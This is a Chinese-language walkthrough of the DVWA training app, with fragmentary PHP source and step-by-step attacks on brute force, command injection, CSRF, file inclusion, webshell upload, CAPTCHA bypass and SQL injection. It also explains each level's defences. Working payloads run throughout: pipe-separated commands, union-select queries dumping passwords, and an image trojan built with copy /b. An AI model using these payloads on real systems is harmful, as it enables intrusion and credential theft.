' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
//结果存在并且返回一条记录,说明查到了
if( $result && mysqli_num_rows( $result ) == 1 ) {
//查询结果关联数据row,row已经变成键值对
$row = mysqli_fetch_assoc( $result );
//获取登录成功图片
$avatar = $row["avatar"];
// Login successful
//登录成功,输出到页面上
echo "Welcome to the password protected area {$user}
"; echo ""; } else { // Login failed //未查到,错误信息输出到页面上 echo ""; } //释放资源 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
先随便输入账号密码,使用BP抓包
选择send to intruder
选用clear清除掉现有的,再选中自己试的密码添加
添加密码字典
开始爆破,长度不一样的一般即为密码
可知密码为password
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "Welcome to the password protected area {$user}
"; echo ""; } else { // Login failed sleep( 2 ); echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
代码审计:参数username和password是直接通过GET方式获取,并未做任何过滤,满足if条件(Login变量是否设置)就可以进行参数利用
漏洞利用:使用burp设置跑参点,加载字典使用穷举法猜解出用户口令
先随便输入账号密码,使用BP抓包
选择send to intruder
选用clear清除掉现有的,再选中自己试的密码添加
添加密码字典
开始爆破,长度不一样的一般即为密码
prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would alLow for user enumeration!
//echo "
This account has been locked due to too many incorrect logins.
";
// Calculate when the user would be alLowed to login again
//计算用户能再次登录的时间
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "
";
print "The timenow is: " . date ("h:i:s", $timenow) . "
";
print "The timeout is: " . date ("h:i:s", $timeout) . "
";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked
";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "Welcome to the password protected area {$user}
";
echo "";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "Warning: Someone might of been brute forcing your account.
";
echo "Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.
";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "
Username and/or password incorrect.
Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
bp+pitchfock
对于有token来防护csrf的,可以使用到这个功能进行爆破,因为每次用户的token都是随机的。
选择攻击模式为pitchfock,并且给要破解的token项带上美元符号
选择options将线程数设置为1(递归查找,将上一个请求的相应token作为下一个请求的payload的token,所以就不并发)
Grep-Extract模块进行相应设置,获取相应的token,截取相应token的前后标识,用于下次截取
Redirections模块设置允许重定向,选择always
点击payload的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中
开始爆破
具体过程
抓包,发现有token
使用intruder,将密码和token作为变量,同时攻击模式使用Pitchfork
找到Grep-Extract模块进行相应设置
点击1Options->2Add->3刷新->4复制token(493d13e584836842e3522e7d6fe778a4)-> 56由空白出现内容->7OK
找到Redirections模块设置允许重定向,选择always
点击payload,选择第一项的密码本与低等级的相同,第二项的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中。
将payloads1导入字典后就开始攻击吧
开始爆破
得到密码
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "Welcome to the password protected area {$user}
"; echo ""; } else { // Login failed sleep( rand( 0, 3 ) ); echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
Username and/or password incorrect.
可以看到Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,当用户登录失败达到3次,将会锁住账号15秒,爆破也就无法继续。
同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。
审计代码,可以发现直接针对操作系统类型进行ping,没有对输入的数据作出任何过滤,非常危险。
{$cmd}
";
}
?>
在文本框里输入”127.0.0.1”,得到以下系统中所有的用户
发现乱码
解决此问题的方法:在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改为”charset=gb2312”,即可
127.0.0.1
'',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
//将参数中有&&和;的都替换成空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
代码审计:通过设置黑名单过滤特殊符号,防御恶意参数的构造,但是仍然可以通过等效符号进行代替绕过黑名单,达到命令执行的效果
漏洞利用:构造Poc与low安全级别一致,区别在于用等效的符号绕过黑名单,同样达到命令执行的效果,拿webshell,连webshell管理工具,操作服务器
DOS中&用法
这里需要注意的是”&&”与” &”的区别:
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。
因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。
输入127.0.0.1 | dir
输入127.0.0.1&ipconfig
'',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
//替换成空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
DOS中符号总结
l & 组合命令
语法:第一条命令 & 第二条命令 [& 第三条命令…]
&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。因为批处理认行不认命令数目。
这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。
这里&两边的命令是顺序执行的,从前往后执行。
比如:
dir z:\ & dir y:\ & dir c:\
以上命令会连续显示 z,y,c 盘的内容,不理会该盘是否存在
l Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
l ; 分号
分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回错误报告,但程序仍会执行。
例:dir c:\;d:\;e:\1.txt
以上命令相当于
dir c:\
dir d:\
dir e:\1.txt
其中文件 e:\1.txt 不存在,但 e 盘存在,有错误提示,但命令仍会执行。
如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。
相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。
黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。
127.0.0.1|ipconfig
{$cmd}
";
}
else {
// Ops. Let the user name theres a mistake
echo 'ERROR: You have entered an invalid IP.'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the user
echo "Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
我们先随便写两个不一样的密码
再打开一个网页,输入链接,可以看到,直接跳转到了密码成功的页面了。
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the user
echo "Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } } else { // Didn't come from a trusted source echo "
That request didn't look correct."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
抓包
打开另一个页面,在顶部URL中自己输入如下的链接,用burpsuite进行抓包
dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
可以看到,当我们直接打开另一个页面,直接输入URL的时候,请求包的头中并没有Referer字段,所以不能修改成功。
那我们可以自己加一个Referer字段,然后值只要设置成包含了主机头127.0.0.1就行了
可以看到,已经成功修改密码了
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the user
echo "Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
客户端访问修改密码页面->服务器发一个token->用户修改参数的请求中加入了token参数->服务器验证token->成功修改
相当于把流程修改了,token的生成是随机的
随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。
通过构造这样一个attack函数
当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "Password Changed.
";
}
else {
// Issue with passwords matching
echo "Passwords did not match or current password incorrect.
";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击
文件包含是指调用文件,可以调用本地的文件,也可以调用远程的文件
一.File Inclusion,意思是文件包含(漏洞),是指当服务器开启alLow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的alLow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
包含,往往用在复用的地方,比如你写了一个连接数据库的方法,我直接ctrl+c,ctrl+v就可以用,不用我自己再写,当然是使用include关键字来引用你的方法
二、文件包含漏洞用到的函数
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
DVWA是通过文件包含,来调用file1.php/file2.php/file3.php
查看phpinfo.php文件,输入网址http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy_pro\WWW\DVWA\phpinfo.php
包含一个不存在的文件 xixi.php ,看看会发生什么情况!
可以看到,发生了报错,并且把网站的路径都给暴露出来了。
第一行的那个Warning就是找不到指定的xixi.php文件,也就是包含不到指定的文件,所Warning。
而第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。
在目录中创建一个测试文件test.txt,文件内容是“”,通过文件包含漏洞可以直接查看到该文件内容。
可以看到,代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生,也过滤了 ../ 和 ..\ 防止了进行目录切换的包含。
但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http:// ,所以最终还是会包含到 http://xx
我们先访问一下http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php
发现报错,原因很简单,因为代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生
所以,我们可以试试访问该链接
http://dvwa/vulnerabilities/fi/?page=....//....//phpinfo.php
file协议
中文意思:本地文件传输协议
什么是File:File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。
如何使用File:要使用File协议,基本的格式如下:file:///文件路径,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或浏览器地址栏中输入:file:///f:/flash/1.swf回车。
High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,构造如下URL
http://dvwa/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/DVWA/php.ini
可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的。
Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!"; } } ?>
上传一个一句话,显示上传成功!
使用蚁剑来连接获得webshell(右键添加数据,连接密码是指 1.php 里 通过POST提交的 数据 即 123,编码器一般选择 chr ,点击 添加 然后 右键 添加的项目,文件管理)
试着去新建个文件试试 test.txt
在服务器检测
Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?>
先把1.php的格式改为1.png上传
用bp抓包后改为php
点击forward
链接蚁剑
Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?>
这里貌似可以用00截断的方式
这里引进图片马
制作图片马
画个画命名为1.jpg
将1.php(一句话木马)与正常图片合并
copy 1.jpg/b+1.php/a 1.jpg
b表示二进制文件
a表示ASCII码文件
查看生成的1.jpg
成功上传
使用蚁剑
${target_file} succesfully uploaded!
";
}
else {
// No
echo 'Your image was not uploaded.'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。
CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。要是验证流程出现了逻辑漏洞.
DVWA中主要是输入当前的密码以及新密码,用来修改密码
这关开始前我们可能遇到不能正常显示的情况,需要在配置文件中加入谷歌的密钥:
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
配置完成
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
//验证通过时,匹配两次密码是否一致
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
"; } else { // Both new passwords do not match. $html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
Both passwords must match."; $hide_form = false; } } } //第二阶段,检查两次密码是否一致,并更新密码 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); // Feedback for the end user echo "
Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
这个主要分为两个阶段
第一阶段:验证用户身份,服务器会用私钥对用户进行身份验证,如果验证成功了才能进行修改密码
第二阶段:如果如果两次输入的密码一致,就进行修改;那么如果能绕过第一阶段,是不是只要两次密码输入一致就能修改了?
抓包
修改step参数,改为第二阶段将1改为2,并点击forward
修改成功
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
// 对参数passed_captcha进行验证,如果通过身份验证,该参数就为true
"; } else { // Both new passwords do not match. $html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
Both passwords must match."; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "
"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
You have not passed the CAPTCHA.
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); // Feedback for the end user echo "
Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
与Low相比,增加了第一阶段的判断,设置一个标志位passed_capt,如果身份验证通过了,就设置为true
抓包看一下,好像没有提交该参数啊
那么我们就主动添加一个参数passed_captcha
step=2&password_new=111&password_conf=111&Change=Change&passed_captcha=true
点击forward
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for user
echo "Password Changed."; } else { // Ops. Password mismatch $html .= "
Both passwords must match."; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "
"; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
The CAPTCHA was incorrect. Please try again.
可以看到,验证过程已经不分步走了,都合在一个阶段里面了
服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。
搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。
改变两个参数
g-recaptcha-response=hidd3n_valu3
http包头的
User-Agent:reCAPTCHA
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "Password Changed."; } else { // Feedback for the end user - failed! echo "
Either your current password is incorrect or the new passwords did not match."; $hide_form = false; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
Please try again.
需要输入以前的密码
SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。
DVWA中主要根据用户ID查询用户信息
SQL注入流程
拿到一个查询条件的web网页,就需要对输入框做以下的事情
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
First name: {$first}
Surname: {$last}
1.判断是否存在注入,注入是字符型还是数字型
代码中看到 '$id'变量,说明是字符串类型,下面进行判断
输入1
输入2
输入1+2
没有进行运算,是字符型。
开始SQL测试,输入 'or 1 = 1 or' // 假or真or假 可以看到用户都爆出来了。
再来判断字段的长度 1' order by 1# // 显示正常
在测试 1' order by 2# // 也显示正常
再测试一下 1' order by 3# 3报错了,说明只有两个字段!
只有两个字段,我们可以来构造联合查询了,目的是为了查看回显的字段 。
输入:1' union select 1,2# // 我们看到了结果显示都可以回显。
查看到都可以回显,我们就开始找当前,用户数据库的名字,
输入:1' union select user(),database()#
// 结果已经显示出来了 可以看到,用户:root@localhost 数据库:dvwa
我们现在就可以,从dvwa看看他都有哪些表。
输入:1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #
// 看到dvwa这个数据库里有guestbook和users两个表,存放账号和密码的放在users表。
查看user表里的列里面的数据。
输入:1' union select 1,column_name from information_schema.columns wheretable_name='user'#
// users的列已经爆出来了,接下来我们就是开始看password列里面的数据了。
输入:1' union select user,password from users#
可以看到密码已经爆出来了。
' . mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]);
打开输入1
bp抓包
输入1 or 1 = 1
数字型漏洞
输入1 order by 1
输入1 order by 2
输入1 order by 3
显示错误
数据库字段数为2
查询数据库
输入1 union select version(),database()#
数据库版本为5.7.26
数据库名字为dvwa
1 union select 1,2 #
查询数据库的表
输入1 union select 1,table_name from information_schema.tables where table_schema=(select database()) #
查询表users中的字段
输入
1 union select 1,group_concat(column_name) from information_schema.columns where
table_name=0x7573657273
查找数据
1 union select group_concat(user),group_concat(password)from users #
Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
First name: {$first}
Surname: {$last}
查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
输入,都不用抓包
1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
PDO预处理
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
SQL盲注流程
拿到一个查询条件的web网页,就需要对输入框做以下的事情
1.判断是否存在注入,注入的类型
2.猜解当前数据库名称
3.猜解数据库中的表名
4.猜解表中的字段名
5.获取表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…
0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
